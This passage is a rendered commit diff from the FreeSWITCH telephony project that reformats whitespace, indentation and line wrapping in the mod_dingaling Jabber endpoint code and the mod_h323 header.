</span><span class="cx">                         stream->write_function(stream, "%s        |        ", profile->login);
</span><del>-                        if (profile->handle && ldl_handle_authorized(profile->handle)){
</del><ins>+                        if (profile->handle && ldl_handle_authorized(profile->handle)) {
</ins><span class="cx">                                 stream->write_function(stream, "AUTHORIZED");
</span><del>-                        } else if (profile->handle && ldl_handle_connected(profile->handle)){
</del><ins>+                        } else if (profile->handle && ldl_handle_connected(profile->handle)) {
</ins><span class="cx">                                 stream->write_function(stream, "CONNECTED");
</span><span class="cx">                         } else {
</span><span class="cx">                                 stream->write_function(stream, "UNCONNECTED");
</span><span class="lines">@@ -2195,7 +2201,7 @@
</span><span class="cx">                 stream->write_function(stream, "USAGE: %s\n", DINGALING_SYNTAX);
</span><span class="cx">         }
</span><span class="cx">
</span><del>-done:
</del><ins>+ done:
</ins><span class="cx">         switch_safe_free(myarg);
</span><span class="cx">         return status;
</span><span class="cx"> }
</span><span class="lines">@@ -2261,7 +2267,7 @@
</span><span class="cx">         } else {
</span><span class="cx">                 stream->write_function(stream, "FAIL\n");
</span><span class="cx">         }
</span><del>- done:
</del><ins>+ done:
</ins><span class="cx">         switch_safe_free(myarg);
</span><span class="cx">
</span><span class="cx">         return status;
</span><span class="lines">@@ -2274,56 +2280,53 @@
</span><span class="cx">                 return SWITCH_TRUE;
</span><span class="cx">         }
</span><span class="cx">
</span><del>-        if (
-        ((!new_profile->name && !profile->name) ||
-         (new_profile->name && profile->name && !strcasecmp(new_profile->name, profile->name))) &&
-        ((!new_profile->login && !profile->login) ||
-         (new_profile->login && profile->login && !strcasecmp(new_profile->login, profile->login))) &&
-        ((!new_profile->password && !profile->password) ||
-         (new_profile->password && profile->password && !strcasecmp(new_profile->password, profile->password))) &&
-        ((!new_profile->message && !profile->message) ||
-         (new_profile->message && profile->message && !strcasecmp(new_profile->message, profile->message))) &&
-        ((!new_profile->avatar && !profile->avatar) ||
-         (new_profile->avatar && profile->avatar && !strcasecmp(new_profile->avatar, profile->avatar))) &&
</del><ins>+        if (((!new_profile->name && !profile->name) ||
+                 (new_profile->name && profile->name && !strcasecmp(new_profile->name, profile->name))) &&
+                ((!new_profile->login && !profile->login) ||
+                 (new_profile->login && profile->login && !strcasecmp(new_profile->login, profile->login))) &&
+                ((!new_profile->password && !profile->password) ||
+                 (new_profile->password && profile->password && !strcasecmp(new_profile->password, profile->password))) &&
+                ((!new_profile->message && !profile->message) ||
+                 (new_profile->message && profile->message && !strcasecmp(new_profile->message, profile->message))) &&
+                ((!new_profile->avatar && !profile->avatar) || (new_profile->avatar && profile->avatar && !strcasecmp(new_profile->avatar, profile->avatar))) &&
</ins><span class="cx"> #ifdef AUTO_REPLY
</span><del>-        ((!new_profile->auto_reply && !profile->auto_reply) ||
-         (new_profile->auto_reply && profile->auto_reply && !strcasecmp(new_profile->auto_reply, profile->auto_reply))) &&
</del><ins>+                ((!new_profile->auto_reply && !profile->auto_reply) ||
+                 (new_profile->auto_reply && profile->auto_reply && !strcasecmp(new_profile->auto_reply, profile->auto_reply))) &&
</ins><span class="cx"> #endif
</span><del>-        ((!new_profile->dialplan && !profile->dialplan) ||
-         (new_profile->dialplan && profile->dialplan && !strcasecmp(new_profile->dialplan, profile->dialplan))) &&
-        ((!new_profile->local_network && !profile->local_network) ||
-         (new_profile->local_network && profile->local_network && !strcasecmp(new_profile->local_network, profile->local_network))) &&
-        ((!new_profile->ip && !profile->ip) ||
-         (new_profile->ip && profile->ip && !strcasecmp(new_profile->ip, profile->ip))) &&
-        ((!new_profile->extip && !profile->extip) ||
-         (new_profile->extip && profile->extip && !strcasecmp(new_profile->extip, profile->extip))) &&
-        ((!new_profile->server && !profile->server) ||
-         (new_profile->server && profile->server && !strcasecmp(new_profile->server, profile->server))) &&
-        ((!new_profile->timer_name && !profile->timer_name) ||
-         (new_profile->timer_name && profile->timer_name && !strcasecmp(new_profile->timer_name, profile->timer_name))) &&
-        ((!new_profile->lanaddr && !profile->lanaddr) ||
-         (new_profile->lanaddr && profile->lanaddr && !strcasecmp(new_profile->lanaddr, profile->lanaddr))) &&
-        ((!new_profile->exten && !profile->exten) ||
-         (new_profile->exten && profile->exten && !strcasecmp(new_profile->exten, profile->exten))) &&
-        ((!new_profile->context && !profile->context) ||
-         (new_profile->context && profile->context && !strcasecmp(new_profile->context, profile->context))) &&
-        (new_profile->user_flags == profile->user_flags) && (new_profile->acl_count == profile->acl_count)
-        ) {
</del><ins>+                ((!new_profile->dialplan && !profile->dialplan) ||
+                 (new_profile->dialplan && profile->dialplan && !strcasecmp(new_profile->dialplan, profile->dialplan))) &&
+                ((!new_profile->local_network && !profile->local_network) ||
+                 (new_profile->local_network && profile->local_network && !strcasecmp(new_profile->local_network, profile->local_network))) &&
+                ((!new_profile->ip && !profile->ip) ||
+                 (new_profile->ip && profile->ip && !strcasecmp(new_profile->ip, profile->ip))) &&
+                ((!new_profile->extip && !profile->extip) ||
+                 (new_profile->extip && profile->extip && !strcasecmp(new_profile->extip, profile->extip))) &&
+                ((!new_profile->server && !profile->server) ||
+                 (new_profile->server && profile->server && !strcasecmp(new_profile->server, profile->server))) &&
+                ((!new_profile->timer_name && !profile->timer_name) ||
+                 (new_profile->timer_name && profile->timer_name && !strcasecmp(new_profile->timer_name, profile->timer_name))) &&
+                ((!new_profile->lanaddr && !profile->lanaddr) ||
+                 (new_profile->lanaddr && profile->lanaddr && !strcasecmp(new_profile->lanaddr, profile->lanaddr))) &&
+                ((!new_profile->exten && !profile->exten) ||
+                 (new_profile->exten && profile->exten && !strcasecmp(new_profile->exten, profile->exten))) &&
+                ((!new_profile->context && !profile->context) ||
+                 (new_profile->context && profile->context && !strcasecmp(new_profile->context, profile->context))) &&
+                (new_profile->user_flags == profile->user_flags) && (new_profile->acl_count == profile->acl_count)
+                ) {
</ins><span class="cx">                 uint32_t i;
</span><span class="cx">                 if (switch_odbc_available()) {
</span><del>-                        if (!(
-                        ((!new_profile->odbc_dsn && !profile->odbc_dsn) ||
-                         (new_profile->odbc_dsn && profile->odbc_dsn && !strcasecmp(new_profile->odbc_dsn, profile->odbc_dsn))) &&
-                        ((!new_profile->odbc_user && !profile->odbc_user) ||
-                         (new_profile->odbc_user && profile->odbc_user && !strcasecmp(new_profile->odbc_user, profile->odbc_user))) &&
-                        ((!new_profile->odbc_pass && !profile->odbc_pass) ||
-                         (new_profile->odbc_pass && profile->odbc_pass && !strcasecmp(new_profile->odbc_pass, profile->odbc_pass)))
-                        )) {
</del><ins>+                        if (!(((!new_profile->odbc_dsn && !profile->odbc_dsn) ||
+                                 (new_profile->odbc_dsn && profile->odbc_dsn && !strcasecmp(new_profile->odbc_dsn, profile->odbc_dsn))) &&
+                                 ((!new_profile->odbc_user && !profile->odbc_user) ||
+                                 (new_profile->odbc_user && profile->odbc_user && !strcasecmp(new_profile->odbc_user, profile->odbc_user))) &&
+                                 ((!new_profile->odbc_pass && !profile->odbc_pass) ||
+                                 (new_profile->odbc_pass && profile->odbc_pass && !strcasecmp(new_profile->odbc_pass, profile->odbc_pass)))
+                                )) {
</ins><span class="cx">                                 return SWITCH_FALSE;
</span><span class="cx">                         }
</span><span class="cx">                 }
</span><span class="cx">
</span><del>-                for(i=0; i<new_profile->acl_count; i++) {
</del><ins>+                for (i = 0; i < new_profile->acl_count; i++) {
</ins><span class="cx">                         if (strcasecmp(new_profile->acl[i], profile->acl[i]) != 0) {
</span><span class="cx">                                 return SWITCH_FALSE;
</span><span class="cx">                         }
</span><span class="lines">@@ -2333,7 +2336,7 @@
</span><span class="cx">         return SWITCH_TRUE;
</span><span class="cx"> }
</span><span class="cx">
</span><del>-static switch_status_t destroy_profile(char *name)
</del><ins>+static switch_status_t destroy_profile(char *name)
</ins><span class="cx"> {
</span><span class="cx">         mdl_profile_t *profile = NULL;
</span><span class="cx">
</span><span class="lines">@@ -2374,7 +2377,7 @@
</span><span class="cx"> {
</span><span class="cx">         char *cf = "dingaling.conf";
</span><span class="cx">         mdl_profile_t *profile = NULL, *old_profile = NULL;
</span><del>-        switch_xml_t cfg, xml, /*settings,*/ param, xmlint;
</del><ins>+        switch_xml_t cfg, xml, /*settings, */ param, xmlint;
</ins><span class="cx">
</span><span class="cx">         void *data = NULL;
</span><span class="cx">         switch_hash_t *name_hash;
</span><span class="lines">@@ -2398,7 +2401,7 @@
</span><span class="cx">                         char *var = (char *) switch_xml_attr_soft(param, "name");
</span><span class="cx">                         char *val = (char *) switch_xml_attr_soft(param, "value");
</span><span class="cx">
</span><del>- if (!profile) {
</del><ins>+                        if (!profile) {
</ins><span class="cx">                                 profile = switch_core_alloc(module_pool, sizeof(*profile));
</span><span class="cx">                         }
</span><span class="cx">
</span><span class="lines">@@ -2481,7 +2484,7 @@
</span><span class="cx">         for (hi = switch_hash_first(NULL, name_hash); hi; hi = switch_hash_next(hi)) {
</span><span class="cx">                 switch_hash_this(hi, NULL, NULL, &data);
</span><span class="cx">
</span><del>-                if ((profile = switch_core_hash_find(globals.profile_hash, (char*)data))) {
</del><ins>+                if ((profile = switch_core_hash_find(globals.profile_hash, (char *) data))) {
</ins><span class="cx">                         switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_DEBUG, "Deleting unused profile %s [%s]\n", profile->name, profile->login);
</span><span class="cx">                         destroy_profile(profile->name);
</span><span class="cx">                 }
</span><span class="lines">@@ -2695,7 +2698,8 @@
</span><span class="cx">         switch_safe_free(xmlstr);
</span><span class="cx"> }
</span><span class="cx">
</span><del>-static ldl_status handle_signalling(ldl_handle_t *handle, ldl_session_t *dlsession, ldl_signal_t dl_signal, char *to, char *from, char *subject, char *msg)
</del><ins>+static ldl_status handle_signalling(ldl_handle_t *handle, ldl_session_t *dlsession, ldl_signal_t dl_signal, char *to, char *from, char *subject,
+                                                                        char *msg)
</ins><span class="cx"> {
</span><span class="cx">         mdl_profile_t *profile = NULL;
</span><span class="cx">         switch_core_session_t *session = NULL;
</span><span class="lines">@@ -2730,7 +2734,8 @@
</span><span class="cx">
</span><span class="cx">                         case LDL_SIGNAL_SUBSCRIBE:
</span><span class="cx">                                 if (profile->user_flags & LDL_FLAG_COMPONENT && ldl_jid_domcmp(from, to)) {
</span><del>-                                        switch_log_printf(SWITCH_CHANNEL_SESSION_LOG(session), SWITCH_LOG_ERROR, "Attempt to add presence from/to our own domain [%s][%s]\n", from, to);
</del><ins>+                                        switch_log_printf(SWITCH_CHANNEL_SESSION_LOG(session), SWITCH_LOG_ERROR, "Attempt to add presence from/to our own domain [%s][%s]\n",
+                                                                         from, to);
</ins><span class="cx">                                 } else {
</span><span class="cx">                                         switch_mutex_lock(profile->mutex);
</span><span class="cx">                                         if ((sql = switch_mprintf("delete from jabber_subscriptions where sub_from='%q' and sub_to='%q'", from, to))) {
</span><span class="lines">@@ -2839,9 +2844,9 @@
</span><span class="cx">
</span><span class="cx">                 switch (dl_signal) {
</span><span class="cx">                 case LDL_SIGNAL_MSG:{
</span><del>-                        char *proto = MDL_CHAT_PROTO;
-                        char *pproto = NULL, *ffrom = NULL;
-                        char *hint;
</del><ins>+                                char *proto = MDL_CHAT_PROTO;
+                                char *pproto = NULL, *ffrom = NULL;
+                                char *hint;
</ins><span class="cx"> #ifdef AUTO_REPLY
</span><span class="cx">                                 if (profile->auto_reply) {
</span><span class="cx">                                         ldl_handle_send_msg(handle,
</span><span class="lines">@@ -2867,8 +2872,8 @@
</span><span class="cx">                                         }
</span><span class="cx">                                         from = ffrom;
</span><span class="cx">                                 }
</span><del>-                                
-                                if (strcasecmp(proto, MDL_CHAT_PROTO)) { /* yes no ! on purpose */
</del><ins>+
+                                if (strcasecmp(proto, MDL_CHAT_PROTO)) {        /* yes no ! on purpose */
</ins><span class="cx">                                         switch_core_chat_send(proto, MDL_CHAT_PROTO, from, to, subject, switch_str_nil(msg), NULL, hint);
</span><span class="cx">                                 }
</span><span class="cx">
</span><span class="lines">@@ -2920,7 +2925,7 @@
</span><span class="cx">                         status = LDL_STATUS_FALSE;
</span><span class="cx">                         goto done;
</span><span class="cx">                 }
</span><del>-                
</del><ins>+
</ins><span class="cx">         } else {
</span><span class="cx">                 if (dl_signal != LDL_SIGNAL_INITIATE && !msg) {
</span><span class="cx">                         switch_log_printf(SWITCH_CHANNEL_SESSION_LOG(session), SWITCH_LOG_DEBUG, "Session is already dead\n");
</span><span class="lines">@@ -3156,7 +3161,8 @@
</span><span class="cx">                                 unsigned int x, y;
</span><span class="cx">                                 switch_log_printf(SWITCH_CHANNEL_SESSION_LOG(session), SWITCH_LOG_DEBUG, "%u payloads\n", len);
</span><span class="cx">                                 for (x = 0; x < len; x++) {
</span><del>-                                        switch_log_printf(SWITCH_CHANNEL_SESSION_LOG(session), SWITCH_LOG_DEBUG, "Available Payload %s %u\n", payloads[x].name, payloads[x].id);
</del><ins>+                                        switch_log_printf(SWITCH_CHANNEL_SESSION_LOG(session), SWITCH_LOG_DEBUG, "Available Payload %s %u\n", payloads[x].name,
+                                                                         payloads[x].id);
</ins><span class="cx">                                         for (y = 0; y < tech_pvt->num_codecs; y++) {
</span><span class="cx">                                                 char *name = tech_pvt->codecs[y]->iananame;
</span><span class="cx">
</span><span class="lines">@@ -3174,8 +3180,8 @@
</span><span class="cx">
</span><span class="cx">                                                 if (match && payloads[x].rate == tech_pvt->codecs[y]->samples_per_second) {
</span><span class="cx">                                                         tech_pvt->codec_index = y;
</span><del>-                                                        switch_log_printf(SWITCH_CHANNEL_SESSION_LOG(session), SWITCH_LOG_DEBUG, "Choosing Payload index %u %s %u\n", y, payloads[x].name,
-                                                                                         payloads[x].id);
</del><ins>+                                                        switch_log_printf(SWITCH_CHANNEL_SESSION_LOG(session), SWITCH_LOG_DEBUG, "Choosing Payload index %u %s %u\n", y,
+                                                                                         payloads[x].name, payloads[x].id);
</ins><span class="cx">                                                         tech_pvt->codec_name = tech_pvt->codecs[y]->iananame;
</span><span class="cx">                                                         tech_pvt->codec_num = tech_pvt->codecs[y]->ianacode;
</span><span class="cx">                                                         tech_pvt->r_codec_num = (switch_payload_t) (payloads[x].id);
</span><span class="lines">@@ -3252,7 +3258,8 @@
</span><span class="cx">                                                 lanaddr = strncasecmp(candidates[x].address, profile->lanaddr, strlen(profile->lanaddr)) ? 0 : 1;
</span><span class="cx">                                         }
</span><span class="cx">
</span><del>-                                        switch_log_printf(SWITCH_CHANNEL_SESSION_LOG(session), SWITCH_LOG_DEBUG, "candidates %s:%d\n", candidates[x].address, candidates[x].port);
</del><ins>+                                        switch_log_printf(SWITCH_CHANNEL_SESSION_LOG(session), SWITCH_LOG_DEBUG, "candidates %s:%d\n", candidates[x].address,
+                                                                         candidates[x].port);
</ins><span class="cx">
</span><span class="cx">                                         // 192.0.0.0 - 192.0.127.255 is marked as reserved, should we filter all of them?
</span><span class="cx">                                         if (!strcasecmp(candidates[x].protocol, "udp") &&
</span></span></pre></div>
<a id="freeswitchtrunksrcmodendpointsmod_h323mod_h323h"></a>
<div class="modfile"><h4>Modified: freeswitch/trunk/src/mod/endpoints/mod_h323/mod_h323.h (16578 => 16579)</h4>
<pre class="diff"><span>
<span class="info">--- freeswitch/trunk/src/mod/endpoints/mod_h323/mod_h323.h        2010-02-06 00:51:41 UTC (rev 16578)
+++ freeswitch/trunk/src/mod/endpoints/mod_h323/mod_h323.h        2010-02-06 03:38:24 UTC (rev 16579)
</span><span class="lines">@@ -54,10 +54,10 @@
</span><span class="cx"> } TFLAGS;
</span><span class="cx">
</span><span class="cx"> struct mod_h323_globals {
</span><del>- int trace_level;
- char *codec_string;
- char *context;
- char *dialplan;
</del><ins>+        int trace_level;
+        char *codec_string;
+        char *context;
+        char *dialplan;
</ins><span class="cx"> };
</span><span class="cx">
</span><span class="cx"> extern struct mod_h323_globals mod_h323_globals;
</span><span class="lines">@@ -67,19 +67,19 @@
</span><span class="cx">
</span><span class="cx"> typedef struct {
</span><span class="cx">         unsigned int flags;
</span><del>- switch_timer_t read_timer;
- switch_codec_t read_codec;
- switch_codec_t write_codec;
</del><ins>+        switch_timer_t read_timer;
+        switch_codec_t read_codec;
+        switch_codec_t write_codec;
</ins><span class="cx">         switch_frame_t read_frame;
</span><del>-        
- switch_timer_t vid_read_timer;
- switch_codec_t vid_read_codec;
- switch_codec_t vid_write_codec;
</del><ins>+
+        switch_timer_t vid_read_timer;
+        switch_codec_t vid_read_codec;
+        switch_codec_t vid_write_codec;
</ins><span class="cx">         switch_rtp_t *rtp_session;
</span><span class="cx">         switch_mutex_t *flag_mutex;
</span><span class="cx">         switch_mutex_t *h323_mutex;
</span><del>-        
- FSH323Connection *me;
</del><ins>+
+        FSH323Connection *me;
</ins><span class="cx"> } h323_private_t;
</span><span class="cx">
</span><span class="cx"> #define DECLARE_CALLBACK0(name) \
</span><span class="lines">@@ -101,161 +101,142 @@
</span><span class="cx"> switch_status_t name(type1 name1, type2 name2, type3 name3)
</span><span class="cx">
</span><span class="cx"> class FSH323EndPoint;
</span><del>-class FSProcess : public PLibraryProcess {
- PCLASSINFO(FSProcess, PLibraryProcess);
</del><ins>+class FSProcess:public PLibraryProcess {
+        PCLASSINFO(FSProcess, PLibraryProcess);
</ins><span class="cx">
</span><del>- public:
- FSProcess();
- ~FSProcess();
</del><ins>+ public:
+        FSProcess();
+        ~FSProcess();
</ins><span class="cx">
</span><del>- bool Initialise(switch_loadable_module_interface_t *iface);
</del><ins>+        bool Initialise(switch_loadable_module_interface_t *iface);
</ins><span class="cx">
</span><del>- FSH323EndPoint & GetH323EndPoint() const { return *m_h323endpoint; }
-
- protected:
- FSH323EndPoint * m_h323endpoint;
</del><ins>+         FSH323EndPoint & GetH323EndPoint() const {
+                return *m_h323endpoint;
+ } protected:
+         FSH323EndPoint * m_h323endpoint;
</ins><span class="cx"> };
</span><span class="cx">
</span><span class="cx"> struct FSListener {
</span><del>- FSListener() {
- }
-
- PString name;
- H323ListenerTCP *listenAddress;
- PString localUserName;
- PString gatekeeper;
</del><ins>+        FSListener() {
+        } PString name;
+        H323ListenerTCP *listenAddress;
+        PString localUserName;
+        PString gatekeeper;
</ins><span class="cx"> };
</span><span class="cx"> class FSGkRegThread;
</span><span class="cx">
</span><span class="cx"> class FSH323EndPoint:public H323EndPoint {
</span><span class="cx">
</span><del>- PCLASSINFO(FSH323EndPoint, H323EndPoint);
-        public:
-                FSH323EndPoint();
-                ~FSH323EndPoint();
-                
-                
</del><ins>+        PCLASSINFO(FSH323EndPoint, H323EndPoint);
+ public:
+        FSH323EndPoint();
+        ~FSH323EndPoint();
+
+
</ins><span class="cx">          /**Create a connection that uses the specified call.
</span><span class="cx"> */
</span><del>-        virtual H323Connection* CreateConnection(
-                unsigned callReference,
-                void* userData,
-                H323Transport* transport,
-                H323SignalPDU* setupPDU
-        );
</del><ins>+        virtual H323Connection *CreateConnection(unsigned callReference, void *userData, H323Transport * transport, H323SignalPDU * setupPDU);
</ins><span class="cx">         virtual bool OnSetGatewayPrefixes(PStringList & prefixes) const;
</span><del>-        
</del><ins>+
</ins><span class="cx">         bool Initialise(switch_loadable_module_interface_t *iface);
</span><del>-        
- switch_status_t ReadConfig(int reload);
-        
-        void StartGkClient(int retry, PString* gkAddress,PString* gkIdentifer,PString* gkInterface);
</del><ins>+
+        switch_status_t ReadConfig(int reload);
+
+        void StartGkClient(int retry, PString * gkAddress, PString * gkIdentifer, PString * gkInterface);
</ins><span class="cx">         void StopGkClient();
</span><del>-        
</del><ins>+
</ins><span class="cx">         switch_endpoint_interface_t *GetSwitchInterface() const {
</span><del>- return m_freeswitch;
- }
-        FSH323Connection * FSMakeCall(const PString & dest,void *userData);
-        list <FSListener> m_listeners;
</del><ins>+                return m_freeswitch;
+        } FSH323Connection *FSMakeCall(const PString & dest, void *userData);
+         list < FSListener > m_listeners;
</ins><span class="cx">         int m_ai;
</span><span class="cx">         int m_pi;
</span><del>-        protected:
-                PStringList m_gkPrefixes;
-                switch_endpoint_interface_t *m_freeswitch;
-                PString m_gkAddress;
-                PString m_gkIdentifer;
-                PString m_gkInterface;
-                bool m_faststart;
-                bool m_h245tunneling;
-                bool m_h245insetup;
-                int m_gkretry;
-                FSGkRegThread* m_thread;
</del><ins>+ protected:
+         PStringList m_gkPrefixes;
+        switch_endpoint_interface_t *m_freeswitch;
+        PString m_gkAddress;
+        PString m_gkIdentifer;
+        PString m_gkInterface;
+        bool m_faststart;
+        bool m_h245tunneling;
+        bool m_h245insetup;
+        int m_gkretry;
+        FSGkRegThread *m_thread;
</ins><span class="cx"> };
</span><span class="cx">
</span><span class="cx">
</span><del>-class FSGkRegThread : public PThread
-{
- PCLASSINFO(FSGkRegThread, PThread);
-public:
- FSGkRegThread(FSH323EndPoint* endpoint, PString* gkAddress, PString* gkIdentifer, PString* gkInterface, int retry = 0)
-        : PThread(10000), m_ep(endpoint), m_retry(retry), m_gkAddress(gkAddress),m_gkIdentifer(gkIdentifer),m_gkInterface(gkInterface)
-        { }
- void Main()
-        { m_ep->StartGkClient(m_retry,m_gkAddress,m_gkIdentifer,m_gkInterface); }
-protected:
- FSH323EndPoint* m_ep;
- int m_retry;
- PString* m_gkAddress;
-        PString* m_gkIdentifer;
-        PString* m_gkInterface;
</del><ins>+class FSGkRegThread:public PThread {
+        PCLASSINFO(FSGkRegThread, PThread);
+ public:
+        FSGkRegThread(FSH323EndPoint * endpoint, PString * gkAddress, PString * gkIdentifer, PString * gkInterface, int retry = 0)
+ :        PThread(10000), m_ep(endpoint), m_retry(retry), m_gkAddress(gkAddress), m_gkIdentifer(gkIdentifer), m_gkInterface(gkInterface) {
+        } void Main() {
+                m_ep->StartGkClient(m_retry, m_gkAddress, m_gkIdentifer, m_gkInterface);
+        }
+ protected:
+        FSH323EndPoint * m_ep;
+        int m_retry;
+        PString *m_gkAddress;
+        PString *m_gkIdentifer;
+        PString *m_gkInterface;
</ins><span class="cx"> };
</span><span class="cx">
</span><span class="cx">
</span><span class="cx"> class FSH323Connection:public H323Connection {
</span><del>- PCLASSINFO(FSH323Connection, H323Connection)
</del><ins>+        PCLASSINFO(FSH323Connection, H323Connection)
</ins><span class="cx">
</span><span class="cx"> public:
</span><del>-        FSH323Connection(FSH323EndPoint& endpoint,
-                                        H323Transport* transport,
-                                        unsigned callReference,
-                                        switch_caller_profile_t *outbound_profile,
-                                        switch_core_session_t *fsSession,
-                                        switch_channel_t *fsChannel);
</del><ins>+        FSH323Connection(FSH323EndPoint & endpoint,
+                                         H323Transport * transport,
+                                         unsigned callReference, switch_caller_profile_t *outbound_profile, switch_core_session_t *fsSession, switch_channel_t *fsChannel);
</ins><span class="cx">
</span><del>-        ~FSH323Connection();                                
</del><ins>+         ~FSH323Connection();
</ins><span class="cx">
</span><del>-        virtual H323Channel* CreateRealTimeLogicalChannel(
-                const H323Capability& capability,
-                H323Channel::Directions dir,
-                unsigned sessionID,
-                const H245_H2250LogicalChannelParameters* param,
-                RTP_QOS * rtpqos = NULL
-        );
-        virtual PBoolean OnStartLogicalChannel(H323Channel& channel);
-        virtual PBoolean OnCreateLogicalChannel(const H323Capability& capability, H323Channel::Directions dir, unsigned& errorCode);
-        virtual        bool OnReceivedSignalSetup(const H323SignalPDU & setupPDU);
-        virtual        bool OnReceivedCallProceeding(const H323SignalPDU & pdu);
</del><ins>+        virtual H323Channel *CreateRealTimeLogicalChannel(const H323Capability & capability,
+                                                                                                         H323Channel::Directions dir,
+                                                                                                         unsigned sessionID, const H245_H2250LogicalChannelParameters * param, RTP_QOS * rtpqos = NULL);
+        virtual PBoolean OnStartLogicalChannel(H323Channel & channel);
+        virtual PBoolean OnCreateLogicalChannel(const H323Capability & capability, H323Channel::Directions dir, unsigned &errorCode);
+        virtual bool OnReceivedSignalSetup(const H323SignalPDU & setupPDU);
+        virtual bool OnReceivedCallProceeding(const H323SignalPDU & pdu);
</ins><span class="cx">         virtual void OnReceivedReleaseComplete(const H323SignalPDU & pdu);
</span><del>-        virtual        bool OnReceivedProgress(const H323SignalPDU &);
</del><ins>+        virtual bool OnReceivedProgress(const H323SignalPDU &);
</ins><span class="cx">         virtual bool OnSendCallProceeding(H323SignalPDU & callProceedingPDU);
</span><span class="cx">         virtual bool OnSendReleaseComplete(H323SignalPDU & pdu);
</span><del>-        virtual PBoolean OpenLogicalChannel(const H323Capability& capability, unsigned sessionID, H323Channel::Directions dir);
- void setRemoteAddress(const char* remoteIP, WORD remotePort);
</del><ins>+        virtual PBoolean OpenLogicalChannel(const H323Capability & capability, unsigned sessionID, H323Channel::Directions dir);
+        void setRemoteAddress(const char *remoteIP, WORD remotePort);
</ins><span class="cx">         virtual void OnSetLocalCapabilities();
</span><del>-        virtual bool OnAlerting(const H323SignalPDU &alertingPDU, const PString &user);
</del><ins>+        virtual bool OnAlerting(const H323SignalPDU & alertingPDU, const PString & user);
</ins><span class="cx">         virtual void AnsweringCall(AnswerCallResponse response);
</span><span class="cx">         virtual void OnEstablished();
</span><span class="cx">         bool SetLocalCapabilities();
</span><del>-        static bool decodeCapability(const H323Capability& capability, const char** dataFormat, int* payload = 0, PString* capabName = 0);
-        virtual H323Connection::AnswerCallResponse OnAnswerCall(const PString& caller,
-                                                const H323SignalPDU& signalPDU, H323SignalPDU& connectPDU);
</del><ins>+        static bool decodeCapability(const H323Capability & capability, const char **dataFormat, int *payload = 0, PString * capabName = 0);
+        virtual H323Connection::AnswerCallResponse OnAnswerCall(const PString & caller, const H323SignalPDU & signalPDU, H323SignalPDU & connectPDU);
</ins><span class="cx">         virtual bool OnReceivedCapabilitySet(const H323Capabilities & remoteCaps,
</span><del>-                                                                const H245_MultiplexCapability * muxCap,
-                                                                H245_TerminalCapabilitySetReject & reject);
</del><ins>+                                                                                 const H245_MultiplexCapability * muxCap, H245_TerminalCapabilitySetReject & reject);
</ins><span class="cx">         switch_core_session_t *GetSession() const {
</span><del>- return m_fsSession;
- }
-        virtual void SendUserInputTone(char tone, unsigned duration = 0, unsigned logicalChannel = 0, unsigned rtpTimestamp = 0);
</del><ins>+                return m_fsSession;
+        } virtual void SendUserInputTone(char tone, unsigned duration = 0, unsigned logicalChannel = 0, unsigned rtpTimestamp = 0);
</ins><span class="cx">         virtual void OnUserInputTone(char, unsigned, unsigned, unsigned);
</span><del>-        virtual void OnUserInputString(const PString &value);
-        DECLARE_CALLBACK0(on_init);
- DECLARE_CALLBACK0(on_routing);
- DECLARE_CALLBACK0(on_execute);
</del><ins>+        virtual void OnUserInputString(const PString & value);
+         DECLARE_CALLBACK0(on_init);
+         DECLARE_CALLBACK0(on_routing);
+         DECLARE_CALLBACK0(on_execute);
</ins><span class="cx">
</span><del>- DECLARE_CALLBACK0(on_exchange_media);
- DECLARE_CALLBACK0(on_soft_execute);
</del><ins>+         DECLARE_CALLBACK0(on_exchange_media);
+         DECLARE_CALLBACK0(on_soft_execute);
</ins><span class="cx">
</span><del>- DECLARE_CALLBACK1(kill_channel, int, sig);
- DECLARE_CALLBACK1(send_dtmf, const switch_dtmf_t *, dtmf);
- DECLARE_CALLBACK1(receive_message, switch_core_session_message_t *, msg);
- DECLARE_CALLBACK1(receive_event, switch_event_t *, event);
- DECLARE_CALLBACK0(state_change);
</del><ins>+         DECLARE_CALLBACK1(kill_channel, int, sig);
+         DECLARE_CALLBACK1(send_dtmf, const switch_dtmf_t *, dtmf);
+         DECLARE_CALLBACK1(receive_message, switch_core_session_message_t *, msg);
+         DECLARE_CALLBACK1(receive_event, switch_event_t *, event);
+         DECLARE_CALLBACK0(state_change);
</ins><span class="cx">
</span><del>-        DECLARE_CALLBACK3(read_audio_frame, switch_frame_t **, frame, switch_io_flag_t, flags, int, stream_id);
- DECLARE_CALLBACK3(write_audio_frame, switch_frame_t *, frame, switch_io_flag_t, flags, int, stream_id);
- DECLARE_CALLBACK3(read_video_frame, switch_frame_t **, frame, switch_io_flag_t, flag, int, stream_id);
- DECLARE_CALLBACK3(write_video_frame, switch_frame_t *, frame, switch_io_flag_t, flag, int, stream_id);
-        
</del><ins>+         DECLARE_CALLBACK3(read_audio_frame, switch_frame_t **, frame, switch_io_flag_t, flags, int, stream_id);
+         DECLARE_CALLBACK3(write_audio_frame, switch_frame_t *, frame, switch_io_flag_t, flags, int, stream_id);
+         DECLARE_CALLBACK3(read_video_frame, switch_frame_t **, frame, switch_io_flag_t, flag, int, stream_id);
+         DECLARE_CALLBACK3(write_video_frame, switch_frame_t *, frame, switch_io_flag_t, flag, int, stream_id);
+
</ins><span class="cx">         bool m_callOnPreAnswer;
</span><span class="cx">         bool m_startRTP;
</span><span class="cx">         bool m_rxChennel;
</span><span class="lines">@@ -263,44 +244,38 @@
</span><span class="cx">         bool m_ChennelAnswer;
</span><span class="cx">         bool m_ChennelProgress;
</span><span class="cx">         PSyncPoint m_rxAudioOpened;
</span><del>-        PSyncPoint m_txAudioOpened;
</del><ins>+        PSyncPoint m_txAudioOpened;
</ins><span class="cx"> protected:
</span><del>-        FSH323EndPoint * m_endpoint;
</del><ins>+         FSH323EndPoint * m_endpoint;
</ins><span class="cx">         PString m_remoteAddr;
</span><del>- int m_remotePort;
</del><ins>+        int m_remotePort;
</ins><span class="cx">         switch_core_session_t *m_fsSession;
</span><del>- switch_channel_t *m_fsChannel;
-        PIPSocket::Address m_RTPlocalIP;
</del><ins>+        switch_channel_t *m_fsChannel;
+         PIPSocket::Address m_RTPlocalIP;
</ins><span class="cx">         WORD m_RTPlocalPort;
</span><span class="cx">         unsigned char m_buf[SWITCH_RECOMMENDED_BUFFER_SIZE];
</span><span class="cx"> };
</span><span class="cx">
</span><span class="cx">
</span><del>-class FSH323_ExternalRTPChannel : public H323_ExternalRTPChannel{
- PCLASSINFO(FSH323_ExternalRTPChannel, H323_ExternalRTPChannel);
-public:
- /* Create a new channel. */
- FSH323_ExternalRTPChannel(
-                FSH323Connection& connection,
